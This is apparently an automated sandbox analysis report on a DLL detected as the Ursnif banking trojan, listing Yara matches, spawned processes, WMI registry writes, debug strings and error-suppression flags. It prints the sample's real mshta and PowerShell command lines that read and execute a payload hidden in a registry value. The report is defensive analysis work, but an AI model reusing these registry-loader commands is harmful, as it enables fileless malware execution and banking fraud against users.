Source: Yara match	File source: 00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY

E-Banking Fraud:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.4f594a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY

System Summary:

Writes registry values via WMI

Show sources

Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetDWORDValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetBinaryValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue
Source: C:\Windows\SysWOW64\rundll32.exe	WMI Registry write: IWbemServices::ExecMethod - root\default : StdRegProv::SetStringValue

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E141B9C GetProcAddress,NtCreateSection,memset,	3_2_6E141B9C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E141EC7 NtMapViewOfSection,	3_2_6E141EC7
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E142485 NtQueryVirtualMemory,	3_2_6E142485

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E167CA0	2_2_6E167CA0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E16B840	2_2_6E16B840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E1796BD	2_2_6E1796BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E17CEC0	2_2_6E17CEC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E17FF3F	2_2_6E17FF3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E175FDD	2_2_6E175FDD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E186CF9	2_2_6E186CF9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E189B9C	2_2_6E189B9C
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E142264	3_2_6E142264
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E16B840	3_2_6E16B840
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E1796BD	3_2_6E1796BD
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E17CEC0	3_2_6E17CEC0
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E17FF3F	3_2_6E17FF3F
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E175FDD	3_2_6E175FDD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Code function: 42_2_00007FFAEEA1056F	42_2_00007FFAEEA1056F

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E174A80 appears 67 times
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: String function: 6E17B4B4 appears 34 times

Source: C:\Windows\SysWOW64\rundll32.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 648

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\OUTLOOK.EXE

Jump to behavior

Source: lj3H69Z3Io.dll

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE, DLL

Source: classification engine

Classification label: mal96.troj.evad.winDLL@26/21@3/1

Source: C:\Program Files\internet explorer\iexplore.exe

File created: C:\Users\user\AppData\Local\Microsoft\Internet Explorer\Recovery\High

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3416
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5064:120:WilError_01

Source: C:\Windows\SysWOW64\WerFault.exe

File created: C:\ProgramData\Microsoft\Windows\WER\Temp\WER2A24.tmp

Jump to behavior

Source: lj3H69Z3Io.dll

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll

Source: C:\Program Files\internet explorer\iexplore.exe

File read: C:\Users\desktop.ini

Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	File read: C:\Windows\System32\drivers\etc\hosts			Jump to behavior

Source: C:\Windows\System32\loaddll32.exe

Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Busysection

Source: lj3H69Z3Io.dll	Virustotal: Detection: 41%
Source: lj3H69Z3Io.dll	ReversingLabs: Detection: 31%

Source: unknown	Process created: C:\Windows\System32\loaddll32.exe loaddll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll'
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Busysection
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Dealthis
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Sing
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Teethshould
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 648
Source: C:\Windows\SysWOW64\rundll32.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 3416 -s 656
Source: unknown	Process created: C:\Program Files\internet explorer\iexplore.exe 'C:\Program Files\Internet Explorer\iexplore.exe' -Embedding
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17410 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:82950 /prefetch:2
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17430 /prefetch:2
Source: unknown	Process created: C:\Windows\System32\mshta.exe 'C:\Windows\System32\mshta.exe' 'about:<hta:application><script>Ff7t='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Ff7t).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\86EC23E5-2D5A-A875-E71A-B15C0BEE7550\\\DeviceFile'));if(!window.flag)close()</script>'
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\cmd.exe cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Busysection	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Dealthis	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Sing	Jump to behavior
Source: C:\Windows\System32\loaddll32.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe C:\Users\user\Desktop\lj3H69Z3Io.dll,Teethshould	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe 'C:\Users\user\Desktop\lj3H69Z3Io.dll',#1	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17410 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:82950 /prefetch:2	Jump to behavior
Source: C:\Program Files\internet explorer\iexplore.exe	Process created: C:\Program Files (x86)\Internet Explorer\iexplore.exe 'C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE' SCODEF:996 CREDAT:17430 /prefetch:2	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))	Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\mshta.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Settings

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK
Source: C:\Windows\SysWOW64\rundll32.exe	Automated click: OK

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Source: C:\Program Files (x86)\Internet Explorer\iexplore.exe

File opened: C:\Program Files (x86)\Java\jre1.8.0_211\bin\msvcr100.dll

Jump to behavior

Source: lj3H69Z3Io.dll

Static PE information: DYNAMIC_BASE, NX_COMPAT

Source: lj3H69Z3Io.dll

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: wkernel32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: bcrypt.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wrpcrt4.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: shcore.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: wgdi32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: fltLib.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: advapi32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdbk source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: shell32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: msvcp_win.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wsspicli.pdb5 source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb- source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wimm32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wkernelbase.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: mpr.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb; source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: Bed.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wwin32u.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: setupapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: imagehlp.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: upwntdll.pdb source: WerFault.exe, 00000014.00000002.436609525.0000000004DF9000.00000004.00000001.sdmp
Source:	Binary string: winspool.pdb! source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: shlwapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: shcore.pdbk source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: profapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: winspool.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: wgdi32full.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: sechost.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: propsys.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdbk source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: c:\201\Their\Quart-Sheet\497_who\Bed.pdb source: rundll32.exe, 00000002.00000002.444299096.000000006E191000.00000002.00020000.sdmp, rundll32.exe, 00000003.00000002.616072901.000000006E191000.00000002.00020000.sdmp, WerFault.exe, 00000014.00000003.411602089.0000000004DE1000.00000004.00000001.sdmp, lj3H69Z3Io.dll
Source:	Binary string: powrprof.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: netapi32.pdbD source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: ole32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: AcLayers.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: Kernel.Appcore.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: cryptbase.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: netapi32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: cfgmgr32.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: bcryptprimitives.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: combase.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: Windows.Storage.pdb source: WerFault.exe, 00000014.00000003.418696334.0000000005370000.00000004.00000040.sdmp
Source:	Binary string: rundll32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wtsapi32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: iphlpapi.pdb' source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: oleaut32.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: sfc_os.pdbS source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: sfc.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: apphelp.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wuser32.pdb source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: wntdll.pdbk source: WerFault.exe, 00000014.00000003.418673518.0000000005390000.00000004.00000001.sdmp
Source:	Binary string: c:\201\Their\Quart-Sheet\497_who\Bed.pdbbj source: WerFault.exe, 00000014.00000003.412073889.0000000004DB5000.00000004.00000001.sdmp
Source:	Binary string: netutils.pdb source: WerFault.exe, 00000014.00000003.418704958.0000000005376000.00000004.00000040.sdmp
Source:	Binary string: Nc:\201\Their\Quart-Sheet\497_who\Bed.pdb source: WerFault.exe, 00000014.00000003.411494273.0000000004E04000.00000004.00000001.sdmp

Data Obfuscation:

Suspicious powershell command line found

Show sources

Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))
Source: C:\Windows\System32\mshta.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe' iex ([System.Text.Encoding]::ASCII.GetString(( gp 'HKCU:Software\AppDataLow\Software\Microsoft\86EC23E5-2D5A-A875-E71A-B15C0BEE7550').UtilTool))			Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe

Code function: 3_2_6E141F7C LoadLibraryA,GetProcAddress,

3_2_6E141F7C

Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E17446D push ecx; ret	2_2_6E174480
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E142D07 push ebp; ret	2_2_6E142D17
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 2_2_6E174AC6 push ecx; ret	2_2_6E174AD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E142200 push ecx; ret	3_2_6E142209
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E142253 push ecx; ret	3_2_6E142263
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E17446D push ecx; ret	3_2_6E174480
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E174AC6 push ecx; ret	3_2_6E174AD9
Source: C:\Windows\SysWOW64\rundll32.exe	Code function: 3_2_6E1BF506 push ds; ret	3_2_6E1BF508

Hooking and other Techniques for Hiding and Protection:

Yara detected Ursnif

Show sources

Source: Yara match	File source: 3.3.rundll32.exe.4f594a0.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000003.00000003.556259843.0000000004DDC000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537141120.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537104299.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536940847.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.548180639.0000000004F59000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537188735.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537165510.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.537047715.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536909133.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.536969040.0000000004FD8000.00000004.00000040.sdmp, type: MEMORY

Source: C:\Windows\SysWOW64\rundll32.exe

Registry key monitored for changes: HKEY_CURRENT_USER_Classes

Jump to behavior

Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: FAILCRITICALERRORS \| NOGPFAULTERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\mshta.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX
